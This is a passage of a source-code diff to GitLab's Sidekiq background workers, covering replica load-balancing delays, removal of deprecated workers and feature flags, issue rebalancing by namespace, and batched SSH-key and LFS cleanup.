@@ -51,6 +52,16 @@ module ApplicationWorker
subclass.after_set_class_attribute { subclass.set_queue }
end
+ def perform_async(*args)
+ # Worker execution for workers with data_consistency set to :delayed or :sticky
+ # will be delayed to give replication enough time to complete
+ if utilizes_load_balancing_capabilities?
+ perform_in(delay_interval, *args)
+ else
+ super
+ end
+ end
+
def set_queue
queue_name = ::Gitlab::SidekiqConfig::WorkerRouter.global.route(self)
sidekiq_options queue: queue_name # rubocop:disable Cop/SidekiqOptionsQueue
@@ -111,5 +122,11 @@ module ApplicationWorker
Sidekiq::Client.push_bulk('class' => self, 'args' => args_list, 'at' => schedule)
end
end
+
+ protected
+
+ def delay_interval
+ DEFAULT_DELAY_INTERVAL.seconds
+ end
end
end
diff --git a/app/workers/concerns/security_scans_queue.rb b/app/workers/concerns/security_scans_queue.rb
index f731317bb37..27e97169926 100644
--- a/app/workers/concerns/security_scans_queue.rb
+++ b/app/workers/concerns/security_scans_queue.rb
@@ -8,6 +8,6 @@ module SecurityScansQueue
included do
queue_namespace :security_scans
- feature_category :static_application_security_testing
+ feature_category :vulnerability_management
end
end
diff --git a/app/workers/concerns/worker_attributes.rb b/app/workers/concerns/worker_attributes.rb
index 6dee9402691..096be808787 100644
--- a/app/workers/concerns/worker_attributes.rb
+++ b/app/workers/concerns/worker_attributes.rb
@@ -71,6 +71,20 @@ module WorkerAttributes
class_attributes[:urgency] || :low
end
+ # Allows configuring worker's data_consistency.
+ #
+ # Worker can utilize Sidekiq readonly database replicas capabilities by setting data_consistency attribute.
+ # Workers with data_consistency set to :delayed or :sticky, calling #perform_async
+ # will be delayed in order to give replication process enough time to complete.
+ #
+ # - *data_consistency* values:
+ # - 'always' - The job is required to use the primary database (default).
+ # - 'sticky' - The uses a replica as long as possible. It switches to primary either on write or long replication lag.
+ # - 'delayed' - The job would switch to primary only on write. It would use replica always.
+ # If there's a long replication lag the job will be delayed, and only if the replica is not up to date on the next retry,
+ # it will switch to the primary.
+ # - *feature_flag* - allows you to toggle a job's `data_consistency, which permits you to safely toggle load balancing capabilities for a specific job.
+ # If disabled, job will default to `:always`, which means that the job will always use the primary.
def data_consistency(data_consistency, feature_flag: nil)
raise ArgumentError, "Invalid data consistency: #{data_consistency}" unless VALID_DATA_CONSISTENCIES.include?(data_consistency)
raise ArgumentError, 'Data consistency is already set' if class_attributes[:data_consistency]
@@ -85,11 +99,16 @@ module WorkerAttributes
# Since the deduplication should always take into account the latest binary replication pointer into account,
# not the first one, the deduplication will not work with sticky or delayed.
# Follow up issue to improve this: https://gitlab.com/gitlab-org/gitlab/-/issues/325291
- if idempotent? && get_data_consistency != :always
+ if idempotent? && utilizes_load_balancing_capabilities?
raise ArgumentError, "Class can't be marked as idempotent if data_consistency is not set to :always"
end
end
+ # If data_consistency is not set to :always, worker will try to utilize load balancing capabilities and use the replica
+ def utilizes_load_balancing_capabilities?
+ get_data_consistency != :always
+ end
+
def get_data_consistency
class_attributes[:data_consistency] || :always
end
@@ -167,6 +186,12 @@ module WorkerAttributes
class_attributes[:deduplication_options] || {}
end
+ def deduplication_enabled?
+ return true unless get_deduplication_options[:feature_flag]
+
+ Feature.enabled?(get_deduplication_options[:feature_flag], default_enabled: :yaml)
+ end
+
def big_payload!
set_class_attribute(:big_payload, true)
end
diff --git a/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb b/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb
index 40cc233307a..3027d46b8b1 100644
--- a/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb
+++ b/app/workers/container_expiration_policies/cleanup_container_repository_worker.rb
@@ -65,19 +65,9 @@ module ContainerExpirationPolicies
def container_repository
strong_memoize(:container_repository) do
ContainerRepository.transaction do
- # rubocop: disable CodeReuse/ActiveRecord
# We need a lock to prevent two workers from picking up the same row
- container_repository = if loopless_enabled?
- next_container_repository
- else
- ContainerRepository.waiting_for_cleanup
- .order(:expiration_policy_cleanup_status, :expiration_policy_started_at)
- .limit(1)
- .lock('FOR UPDATE SKIP LOCKED')
- .first
- end
-
- # rubocop: enable CodeReuse/ActiveRecord
+ container_repository = next_container_repository
+
container_repository&.tap(&:cleanup_ongoing!)
end
end
@@ -102,28 +92,20 @@ module ContainerExpirationPolicies
def cleanup_scheduled_count
strong_memoize(:cleanup_scheduled_count) do
- if loopless_enabled?
- limit = max_running_jobs + 1
- ContainerExpirationPolicy.with_container_repositories
- .runnable_schedules
- .limit(limit)
- .count
- else
- ContainerRepository.cleanup_scheduled.count
- end
+ limit = max_running_jobs + 1
+ ContainerExpirationPolicy.with_container_repositories
+ .runnable_schedules
+ .limit(limit)
+ .count
end
end
def cleanup_unfinished_count
strong_memoize(:cleanup_unfinished_count) do
- if loopless_enabled?
- limit = max_running_jobs + 1
- ContainerRepository.with_unfinished_cleanup
- .limit(limit)
- .count
- else
- ContainerRepository.cleanup_unfinished.count
- end
+ limit = max_running_jobs + 1
+ ContainerRepository.with_unfinished_cleanup
+ .limit(limit)
+ .count
end
end
@@ -132,21 +114,13 @@ module ContainerExpirationPolicies
now = Time.zone.now
- if loopless_enabled?
- policy.next_run_at < now || (now + max_cleanup_execution_time.seconds < policy.next_run_at)
- else
- now + max_cleanup_execution_time.seconds < policy.next_run_at
- end
+ policy.next_run_at < now || (now + max_cleanup_execution_time.seconds < policy.next_run_at)
end
def throttling_enabled?
Feature.enabled?(:container_registry_expiration_policies_throttling)
end
- def loopless_enabled?
- Feature.enabled?(:container_registry_expiration_policies_loopless)
- end
-
def max_cleanup_execution_time
::Gitlab::CurrentSettings.container_registry_delete_tags_service_timeout
end
diff --git a/app/workers/container_expiration_policy_worker.rb b/app/workers/container_expiration_policy_worker.rb
index dec13485d13..b15d1bf90bd 100644
--- a/app/workers/container_expiration_policy_worker.rb
+++ b/app/workers/container_expiration_policy_worker.rb
@@ -14,11 +14,18 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
BATCH_SIZE = 1000
def perform
+ process_stale_ongoing_cleanups
throttling_enabled? ? perform_throttled : perform_unthrottled
end
private
+ def process_stale_ongoing_cleanups
+ threshold = delete_tags_service_timeout.seconds + 30.minutes
+ ContainerRepository.with_stale_ongoing_cleanup(threshold.ago)
+ .update_all(expiration_policy_cleanup_status: :cleanup_unfinished)
+ end
+
def perform_unthrottled
with_runnable_policy(preloaded: true) do |policy|
with_context(project: policy.project,
@@ -31,18 +38,6 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
def perform_throttled
try_obtain_lease do
- unless loopless_enabled?
- with_runnable_policy do |policy|
- ContainerExpirationPolicy.transaction do
- policy.schedule_next_run!
- ContainerRepository.for_project_id(policy.id)
- .each_batch do |relation|
- relation.update_all(expiration_policy_cleanup_status: :cleanup_scheduled)
- end
- end
- end
- end
-
ContainerExpirationPolicies::CleanupContainerRepositoryWorker.perform_with_capacity
end
end
@@ -79,11 +74,11 @@ class ContainerExpirationPolicyWorker # rubocop:disable Scalability/IdempotentWo
Feature.enabled?(:container_registry_expiration_policies_throttling)
end
- def loopless_enabled?
- Feature.enabled?(:container_registry_expiration_policies_loopless)
- end
-
def lease_timeout
5.hours
end
+
+ def delete_tags_service_timeout
+ ::Gitlab::CurrentSettings.current_application_settings.container_registry_delete_tags_service_timeout || 0
+ end
end
diff --git a/app/workers/deployments/execute_hooks_worker.rb b/app/workers/deployments/execute_hooks_worker.rb
deleted file mode 100644
index 3046aa28e20..00000000000
--- a/app/workers/deployments/execute_hooks_worker.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-module Deployments
- # TODO: remove in https://gitlab.com/gitlab-org/gitlab/-/issues/329360
- class ExecuteHooksWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
-
- queue_namespace :deployment
- feature_category :continuous_delivery
- worker_resource_boundary :cpu
-
- def perform(deployment_id)
- if (deploy = Deployment.find_by_id(deployment_id))
- deploy.execute_hooks(Time.current)
- end
- end
- end
-end
diff --git a/app/workers/expire_pipeline_cache_worker.rb b/app/workers/expire_pipeline_cache_worker.rb
index 3c48c4ba3cd..9702fac39ba 100644
--- a/app/workers/expire_pipeline_cache_worker.rb
+++ b/app/workers/expire_pipeline_cache_worker.rb
@@ -1,5 +1,6 @@
# frozen_string_literal: true
+# rubocop: disable Scalability/IdempotentWorker
class ExpirePipelineCacheWorker
include ApplicationWorker
@@ -9,8 +10,12 @@ class ExpirePipelineCacheWorker
queue_namespace :pipeline_cache
urgency :high
worker_resource_boundary :cpu
+ data_consistency :delayed, feature_flag: :load_balancing_for_expire_pipeline_cache_worker
- idempotent!
+ # This worker _should_ be idempotent, but due to us moving this to data_consistency :delayed
+ # and an ongoing incompatibility between the two switches, we need to disable this.
+ # Uncomment once https://gitlab.com/gitlab-org/gitlab/-/issues/325291 is resolved
+ # idempotent!
# rubocop: disable CodeReuse/ActiveRecord
def perform(pipeline_id)
@@ -21,3 +26,4 @@ class ExpirePipelineCacheWorker
end
# rubocop: enable CodeReuse/ActiveRecord
end
+# rubocop:enable Scalability/IdempotentWorker
diff --git a/app/workers/git_garbage_collect_worker.rb b/app/workers/git_garbage_collect_worker.rb
deleted file mode 100644
index a2aab23db7b..00000000000
--- a/app/workers/git_garbage_collect_worker.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-# According to our docs, we can only remove workers on major releases
-# https://docs.gitlab.com/ee/development/sidekiq_style_guide.html#removing-workers.
-#
-# We need to still maintain this until 14.0 but with the current functionality.
-#
-# In https://gitlab.com/gitlab-org/gitlab/-/issues/299290 we track that removal.
-class GitGarbageCollectWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- sidekiq_options retry: false
- feature_category :gitaly
- loggable_arguments 1, 2, 3
-
- def perform(project_id, task = :gc, lease_key = nil, lease_uuid = nil)
- ::Projects::GitGarbageCollectWorker.new.perform(project_id, task, lease_key, lease_uuid)
- end
-end
diff --git a/app/workers/incident_management/process_alert_worker.rb b/app/workers/incident_management/process_alert_worker.rb
deleted file mode 100644
index 3b90e296ad4..00000000000
--- a/app/workers/incident_management/process_alert_worker.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-# frozen_string_literal: true
-
-module IncidentManagement
- class ProcessAlertWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
-
- queue_namespace :incident_management
- feature_category :incident_management
-
- # `project_id` and `alert_payload` are deprecated and can be removed
- # starting from 14.0 release
- # https://gitlab.com/gitlab-org/gitlab/-/issues/224500
- #
- # This worker is not scheduled anymore since
- # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60285
- # and will be removed completely via
- # https://gitlab.com/gitlab-org/gitlab/-/issues/224500
- # in 14.0.
- def perform(_project_id = nil, _alert_payload = nil, alert_id = nil)
- return unless alert_id
-
- alert = find_alert(alert_id)
- return unless alert
-
- result = create_issue_for(alert)
- return if result.success?
-
- log_warning(alert, result)
- end
-
- private
-
- def find_alert(alert_id)
- AlertManagement::Alert.find_by_id(alert_id)
- end
-
- def create_issue_for(alert)
- AlertManagement::CreateAlertIssueService
- .new(alert, User.alert_bot)
- .execute
- end
-
- def log_warning(alert, result)
- issue_id = result.payload[:issue]&.id
-
- Gitlab::AppLogger.warn(
- message: 'Cannot process an Incident',
- issue_id: issue_id,
- alert_id: alert.id,
- errors: result.message
- )
- end
- end
-end
diff --git a/app/workers/incident_management/process_prometheus_alert_worker.rb b/app/workers/incident_management/process_prometheus_alert_worker.rb
deleted file mode 100644
index 7b5c6fd9001..00000000000
--- a/app/workers/incident_management/process_prometheus_alert_worker.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-module IncidentManagement
- class ProcessPrometheusAlertWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
-
- queue_namespace :incident_management
- feature_category :incident_management
- worker_resource_boundary :cpu
-
- def perform(project_id, alert_hash)
- # no-op
- #
- # This worker is not scheduled anymore since
- # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35943
- # and will be removed completely via
- # https://gitlab.com/gitlab-org/gitlab/-/issues/227146
- # in 14.0.
- end
- end
-end
diff --git a/app/workers/issue_placement_worker.rb b/app/workers/issue_placement_worker.rb
index dba791c3f05..8166dda135e 100644
--- a/app/workers/issue_placement_worker.rb
+++ b/app/workers/issue_placement_worker.rb
@@ -41,7 +41,7 @@ class IssuePlacementWorker
IssuePlacementWorker.perform_async(nil, leftover.project_id) if leftover.present?
rescue RelativePositioning::NoSpaceLeft => e
Gitlab::ErrorTracking.log_exception(e, issue_id: issue_id, project_id: project_id)
- IssueRebalancingWorker.perform_async(nil, project_id.presence || issue.project_id)
+ IssueRebalancingWorker.perform_async(nil, *root_namespace_id_to_rebalance(issue, project_id))
end
def find_issue(issue_id, project_id)
@@ -53,4 +53,11 @@ class IssuePlacementWorker
project.issues.take
end
# rubocop: enable CodeReuse/ActiveRecord
+
+ private
+
+ def root_namespace_id_to_rebalance(issue, project_id)
+ project_id = project_id.presence || issue.project_id
+ Project.find(project_id)&.self_or_root_group_ids
+ end
end
diff --git a/app/workers/issue_rebalancing_worker.rb b/app/workers/issue_rebalancing_worker.rb
index 9eac451f107..66ef7dd3152 100644
--- a/app/workers/issue_rebalancing_worker.rb
+++ b/app/workers/issue_rebalancing_worker.rb
@@ -9,21 +9,44 @@ class IssueRebalancingWorker
urgency :low
feature_category :issue_tracking
tags :exclude_from_kubernetes
+ deduplicate :until_executed, including_scheduled: true
- def perform(ignore = nil, project_id = nil)
- return if project_id.nil?
+ def perform(ignore = nil, project_id = nil, root_namespace_id = nil)
+ # we need to have exactly one of the project_id and root_namespace_id params be non-nil
+ raise ArgumentError, "Expected only one of the params project_id: #{project_id} and root_namespace_id: #{root_namespace_id}" if project_id && root_namespace_id
+ return if project_id.nil? && root_namespace_id.nil?
- project = Project.find(project_id)
+ # pull the projects collection to be rebalanced either the project if namespace is not a group(i.e. user namesapce)
+ # or the root namespace, this also makes the worker backward compatible with previous version where a project_id was
+ # passed as the param
+ projects_to_rebalance = projects_collection(project_id, root_namespace_id)
- # Temporary disable reabalancing for performance reasons
+ # something might have happened with the namespace between scheduling the worker and actually running it,
+ # maybe it was removed.
+ if projects_to_rebalance.blank?
+ Gitlab::ErrorTracking.log_exception(
+ ArgumentError.new("Projects to be rebalanced not found for arguments: project_id #{project_id}, root_namespace_id: #{root_namespace_id}"),
+ { project_id: project_id, root_namespace_id: root_namespace_id })
+
+ return
+ end
+
+ # Temporary disable rebalancing for performance reasons
# For more information check https://gitlab.com/gitlab-com/gl-infra/production/-/issues/4321
- return if project.root_namespace&.issue_repositioning_disabled?
+ return if projects_to_rebalance.take&.root_namespace&.issue_repositioning_disabled? # rubocop:disable CodeReuse/ActiveRecord
+
+ IssueRebalancingService.new(projects_to_rebalance).execute
+ rescue IssueRebalancingService::TooManyIssues => e
+ Gitlab::ErrorTracking.log_exception(e, root_namespace_id: root_namespace_id, project_id: project_id)
+ end
+
+ private
- # All issues are equivalent as far as we are concerned
- issue = project.issues.take # rubocop: disable CodeReuse/ActiveRecord
+ def projects_collection(project_id, root_namespace_id)
+ # we can have either project_id(older version) or project_id if project is part of a user namespace and not a group
+ # or root_namespace_id(newer version) never both.
+ return Project.id_in([project_id]) if project_id
- IssueRebalancingService.new(issue).execute
- rescue ActiveRecord::RecordNotFound, IssueRebalancingService::TooManyIssues => e
- Gitlab::ErrorTracking.log_exception(e, project_id: project_id)
+ Namespace.find_by_id(root_namespace_id)&.all_projects
end
end
diff --git a/app/workers/jira_connect/sync_branch_worker.rb b/app/workers/jira_connect/sync_branch_worker.rb
index b8211286d1c..4e8566d86c9 100644
--- a/app/workers/jira_connect/sync_branch_worker.rb
+++ b/app/workers/jira_connect/sync_branch_worker.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module JiraConnect
- class SyncBranchWorker # rubocop:disable Scalability/IdempotentWorker
+ class SyncBranchWorker
include ApplicationWorker
sidekiq_options retry: 3
diff --git a/app/workers/jira_connect/sync_merge_request_worker.rb b/app/workers/jira_connect/sync_merge_request_worker.rb
index 6b3a6ae84ad..bf31df2271f 100644
--- a/app/workers/jira_connect/sync_merge_request_worker.rb
+++ b/app/workers/jira_connect/sync_merge_request_worker.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module JiraConnect
- class SyncMergeRequestWorker # rubocop:disable Scalability/IdempotentWorker
+ class SyncMergeRequestWorker
include ApplicationWorker
sidekiq_options retry: 3
diff --git a/app/workers/merge_requests/assignees_change_worker.rb b/app/workers/merge_requests/assignees_change_worker.rb
deleted file mode 100644
index fe39f20151f..00000000000
--- a/app/workers/merge_requests/assignees_change_worker.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-class MergeRequests::AssigneesChangeWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
-
- feature_category :source_code_management
- urgency :high
- deduplicate :until_executed
- idempotent!
-
- def perform(merge_request_id, user_id, old_assignee_ids)
- merge_request = MergeRequest.find(merge_request_id)
- current_user = User.find(user_id)
-
- # if a user was added and then removed, or removed and then added
- # while waiting for this job to run, assume that nothing happened.
- users = User.id_in(old_assignee_ids - merge_request.assignee_ids)
-
- return if users.blank?
-
- ::MergeRequests::HandleAssigneesChangeService
- .new(project: merge_request.target_project, current_user: current_user)
- .execute(merge_request, users, execute_hooks: true)
- rescue ActiveRecord::RecordNotFound
- end
-end
diff --git a/app/workers/packages/debian/generate_distribution_worker.rb b/app/workers/packages/debian/generate_distribution_worker.rb
new file mode 100644
index 00000000000..68fdd80ffb1
--- /dev/null
+++ b/app/workers/packages/debian/generate_distribution_worker.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Packages
+ module Debian
+ class GenerateDistributionWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+ include Gitlab::Utils::StrongMemoize
+
+ # The worker is idempotent, by reusing component files with the same file_sha256.
+ #
+ # See GenerateDistributionService#find_or_create_component_file
+ deduplicate :until_executed
+ idempotent!
+
+ queue_namespace :package_repositories
+ feature_category :package_registry
+
+ loggable_arguments 0
+
+ def perform(container_type, distribution_id)
+ @container_type = container_type
+ @distribution_id = distribution_id
+
+ return unless distribution
+
+ ::Packages::Debian::GenerateDistributionService.new(distribution).execute
+ end
+
+ private
+
+ def container_class
+ return ::Packages::Debian::GroupDistribution if @container_type == :group
+
+ ::Packages::Debian::ProjectDistribution
+ end
+
+ def distribution
+ strong_memoize(:distribution) do
+ container_class.find_by_id(@distribution_id)
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/pipeline_hooks_worker.rb b/app/workers/pipeline_hooks_worker.rb
index fbb672f52e3..97e6adbbf18 100644
--- a/app/workers/pipeline_hooks_worker.rb
+++ b/app/workers/pipeline_hooks_worker.rb
@@ -7,8 +7,8 @@ class PipelineHooksWorker # rubocop:disable Scalability/IdempotentWorker
include PipelineQueue
queue_namespace :pipeline_hooks
- urgency :high
worker_resource_boundary :cpu
+ data_consistency :delayed, feature_flag: :load_balancing_for_pipeline_hooks_worker
# rubocop: disable CodeReuse/ActiveRecord
def perform(pipeline_id)
diff --git a/app/workers/pipeline_process_worker.rb b/app/workers/pipeline_process_worker.rb
index dc14789fe73..a35b32c35f2 100644
--- a/app/workers/pipeline_process_worker.rb
+++ b/app/workers/pipeline_process_worker.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-class PipelineProcessWorker # rubocop:disable Scalability/IdempotentWorker
+class PipelineProcessWorker
include ApplicationWorker
sidekiq_options retry: 3
@@ -10,12 +10,12 @@ class PipelineProcessWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :continuous_integration
urgency :high
loggable_arguments 1
- data_consistency :delayed, feature_flag: :load_balancing_for_pipeline_process_worker
+
+ idempotent!
+ deduplicate :until_executing, feature_flag: :ci_idempotent_pipeline_process_worker
# rubocop: disable CodeReuse/ActiveRecord
- # `_build_ids` is deprecated and will be removed in 14.0
- # See: https://gitlab.com/gitlab-org/gitlab/-/issues/232806
- def perform(pipeline_id, _build_ids = nil)
+ def perform(pipeline_id)
Ci::Pipeline.find_by(id: pipeline_id).try do |pipeline|
Ci::ProcessPipelineService
.new(pipeline)
diff --git a/app/workers/pipeline_update_worker.rb b/app/workers/pipeline_update_worker.rb
deleted file mode 100644
index e8feb4f2db2..00000000000
--- a/app/workers/pipeline_update_worker.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-# This worker is deprecated and will be removed in 14.0
-# See: https://gitlab.com/gitlab-org/gitlab/-/issues/232806
-class PipelineUpdateWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
- include PipelineQueue
-
- queue_namespace :pipeline_processing
- urgency :high
-
- idempotent!
-
- def perform(_pipeline_id)
- # no-op
- end
-end
diff --git a/app/workers/project_schedule_bulk_repository_shard_moves_worker.rb b/app/workers/project_schedule_bulk_repository_shard_moves_worker.rb
deleted file mode 100644
index 23d1594e4d9..00000000000
--- a/app/workers/project_schedule_bulk_repository_shard_moves_worker.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-# This is a compatibility class to avoid calling a non-existent
-# class from sidekiq during deployment.
-#
-# This class was moved to a namespace in https://gitlab.com/gitlab-org/gitlab/-/issues/299853.
-# we cannot remove this class entirely because there can be jobs
-# referencing it.
-#
-# We can get rid of this class in 14.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/322393
-class ProjectScheduleBulkRepositoryShardMovesWorker < Projects::ScheduleBulkRepositoryShardMovesWorker
- idempotent!
- urgency :throttled
-end
diff --git a/app/workers/project_update_repository_storage_worker.rb b/app/workers/project_update_repository_storage_worker.rb
deleted file mode 100644
index 0d68c0e16f8..00000000000
--- a/app/workers/project_update_repository_storage_worker.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-# This is a compatibility class to avoid calling a non-existent
-# class from sidekiq during deployment.
-#
-# This class was moved to a namespace in https://gitlab.com/gitlab-org/gitlab/-/issues/299853.
-# we cannot remove this class entirely because there can be jobs
-# referencing it.
-#
-# We can get rid of this class in 14.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/322393
-class ProjectUpdateRepositoryStorageWorker < Projects::UpdateRepositoryStorageWorker
- idempotent!
- urgency :throttled
-end
diff --git a/app/workers/propagate_integration_worker.rb b/app/workers/propagate_integration_worker.rb
index 5e694529bc0..0f8229bdf09 100644
--- a/app/workers/propagate_integration_worker.rb
+++ b/app/workers/propagate_integration_worker.rb
@@ -9,9 +9,7 @@ class PropagateIntegrationWorker
idempotent!
loggable_arguments 1
- # TODO: Keep overwrite parameter for backwards compatibility. Remove after >= 14.0
- # https://gitlab.com/gitlab-org/gitlab/-/issues/255382
- def perform(integration_id, overwrite = nil)
+ def perform(integration_id)
Admin::PropagateIntegrationService.propagate(Integration.find(integration_id))
end
end
diff --git a/app/workers/prune_web_hook_logs_worker.rb b/app/workers/prune_web_hook_logs_worker.rb
deleted file mode 100644
index abfaabbf01d..00000000000
--- a/app/workers/prune_web_hook_logs_worker.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-# Worker that deletes a fixed number of outdated rows from the "web_hook_logs"
-# table.
-class PruneWebHookLogsWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
-
- sidekiq_options retry: 3
- # rubocop:disable Scalability/CronWorkerContext
- # This worker does not perform work scoped to a context
- include CronjobQueue
- # rubocop:enable Scalability/CronWorkerContext
-
- feature_category :integrations
-
- # The maximum number of rows to remove in a single job.
- DELETE_LIMIT = 50_000
-
- def perform
- cutoff_date = 90.days.ago.beginning_of_day
-
- WebHookLog.created_before(cutoff_date).delete_with_limit(DELETE_LIMIT)
- end
-end
diff --git a/app/workers/remove_unreferenced_lfs_objects_worker.rb b/app/workers/remove_unreferenced_lfs_objects_worker.rb
index b42883549ca..ca4b70a0485 100644
--- a/app/workers/remove_unreferenced_lfs_objects_worker.rb
+++ b/app/workers/remove_unreferenced_lfs_objects_worker.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-class RemoveUnreferencedLfsObjectsWorker # rubocop:disable Scalability/IdempotentWorker
+class RemoveUnreferencedLfsObjectsWorker
include ApplicationWorker
sidekiq_options retry: 3
@@ -10,8 +10,16 @@ class RemoveUnreferencedLfsObjectsWorker # rubocop:disable Scalability/Idempoten
# rubocop:enable Scalability/CronWorkerContext
feature_category :git_lfs
+ deduplicate :until_executed
+ idempotent!
def perform
- LfsObject.destroy_unreferenced
+ number_of_removed_files = 0
+
+ LfsObject.unreferenced_in_batches do |lfs_objects_without_projects|
+ number_of_removed_files += lfs_objects_without_projects.destroy_all.count # rubocop: disable Cop/DestroyAll
+ end
+
+ number_of_removed_files
end
end
diff --git a/app/workers/snippet_schedule_bulk_repository_shard_moves_worker.rb b/app/workers/snippet_schedule_bulk_repository_shard_moves_worker.rb
deleted file mode 100644
index 94a6b22538b..00000000000
--- a/app/workers/snippet_schedule_bulk_repository_shard_moves_worker.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-# This is a compatibility class to avoid calling a non-existent
-# class from sidekiq during deployment.
-#
-# This class was moved to a namespace in https://gitlab.com/gitlab-org/gitlab/-/issues/299853.
-# we cannot remove this class entirely because there can be jobs
-# referencing it.
-#
-# We can get rid of this class in 14.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/322393
-class SnippetScheduleBulkRepositoryShardMovesWorker < Snippets::ScheduleBulkRepositoryShardMovesWorker
- idempotent!
- feature_category :gitaly
- urgency :throttled
-end
diff --git a/app/workers/snippet_update_repository_storage_worker.rb b/app/workers/snippet_update_repository_storage_worker.rb
deleted file mode 100644
index befae6db4f4..00000000000
--- a/app/workers/snippet_update_repository_storage_worker.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-# This is a compatibility class to avoid calling a non-existent
-# class from sidekiq during deployment.
-#
-# This class was moved to a namespace in https://gitlab.com/gitlab-org/gitlab/-/issues/299853.
-# we cannot remove this class entirely because there can be jobs
-# referencing it.
-#
-# We can get rid of this class in 14.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/322393
-class SnippetUpdateRepositoryStorageWorker < Snippets::UpdateRepositoryStorageWorker # rubocop:disable Scalability/IdempotentWorker
- idempotent!
- urgency :throttled
-end
diff --git a/app/workers/ssh_keys/expired_notification_worker.rb b/app/workers/ssh_keys/expired_notification_worker.rb
index 9d5143fe655..b67849942b0 100644
--- a/app/workers/ssh_keys/expired_notification_worker.rb
+++ b/app/workers/ssh_keys/expired_notification_worker.rb
@@ -11,20 +11,37 @@ module SshKeys
tags :exclude_from_kubernetes
idempotent!
+ BATCH_SIZE = 500
+
+ # rubocop: disable CodeReuse/ActiveRecord
def perform
- return unless ::Feature.enabled?(:ssh_key_expiration_email_notification, default_enabled: :yaml)
+ order = Gitlab::Pagination::Keyset::Order.build([
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'expires_at_utc',
+ order_expression: Arel.sql("date(expires_at AT TIME ZONE 'UTC')").asc,
+ nullable: :not_nullable,
+ distinct: false,
+ add_to_projections: true
+ ),
+ Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
+ attribute_name: 'id',
+ order_expression: Key.arel_table[:id].asc
+ )
+ ])
- # rubocop:disable CodeReuse/ActiveRecord
- User.with_ssh_key_expired_today.find_each(batch_size: 10_000) do |user|
- with_context(user: user) do
- Gitlab::AppLogger.info "#{self.class}: Notifying User #{user.id} about expired ssh key(s)"
+ scope = Key.expired_and_not_notified.order(order)
- keys = user.expired_today_and_unnotified_keys
+ iterator = Gitlab::Pagination::Keyset::Iterator.new(scope: scope, use_union_optimization: true)
+ iterator.each_batch(of: BATCH_SIZE) do |relation|
+ users = User.where(id: relation.map(&:user_id)) # Keyset pagination will load the rows
- Keys::ExpiryNotificationService.new(user, { keys: keys, expiring_soon: false }).execute
+ users.each do |user|
+ with_context(user: user) do
+ Keys::ExpiryNotificationService.new(user, { keys: user.expired_and_unnotified_keys, expiring_soon: false }).execute
+ end
end
- # rubocop:enable CodeReuse/ActiveRecord
end
end
+ # rubocop: enable CodeReuse/ActiveRecord
end
end
diff --git a/app/workers/ssh_keys/expiring_soon_notification_worker.rb b/app/workers/ssh_keys/expiring_soon_notification_worker.rb
index 1ec655b5cf5..d87e31c36a5 100644
--- a/app/workers/ssh_keys/expiring_soon_notification_worker.rb
+++ b/app/workers/ssh_keys/expiring_soon_notification_worker.rb
@@ -12,8 +12,6 @@ module SshKeys
idempotent!
def perform
- return unless ::Feature.enabled?(:ssh_key_expiration_email_notification, default_enabled: :yaml)
-
# rubocop:disable CodeReuse/ActiveRecord
User.with_ssh_key_expiring_soon.find_each(batch_size: 10_000) do |user|
with_context(user: user) do
diff --git a/app/workers/stuck_ci_jobs_worker.rb b/app/workers/stuck_ci_jobs_worker.rb
index 6b9f90ce1fc..b3b3d6e7554 100644
--- a/app/workers/stuck_ci_jobs_worker.rb
+++ b/app/workers/stuck_ci_jobs_worker.rb
@@ -15,22 +15,46 @@ class StuckCiJobsWorker # rubocop:disable Scalability/IdempotentWorker
BUILD_PENDING_OUTDATED_TIMEOUT = 1.day
BUILD_SCHEDULED_OUTDATED_TIMEOUT = 1.hour
BUILD_PENDING_STUCK_TIMEOUT = 1.hour
+ BUILD_LOOKBACK = 5.days
def perform
return unless try_obtain_lease
Gitlab::AppLogger.info "#{self.class}: Cleaning stuck builds"
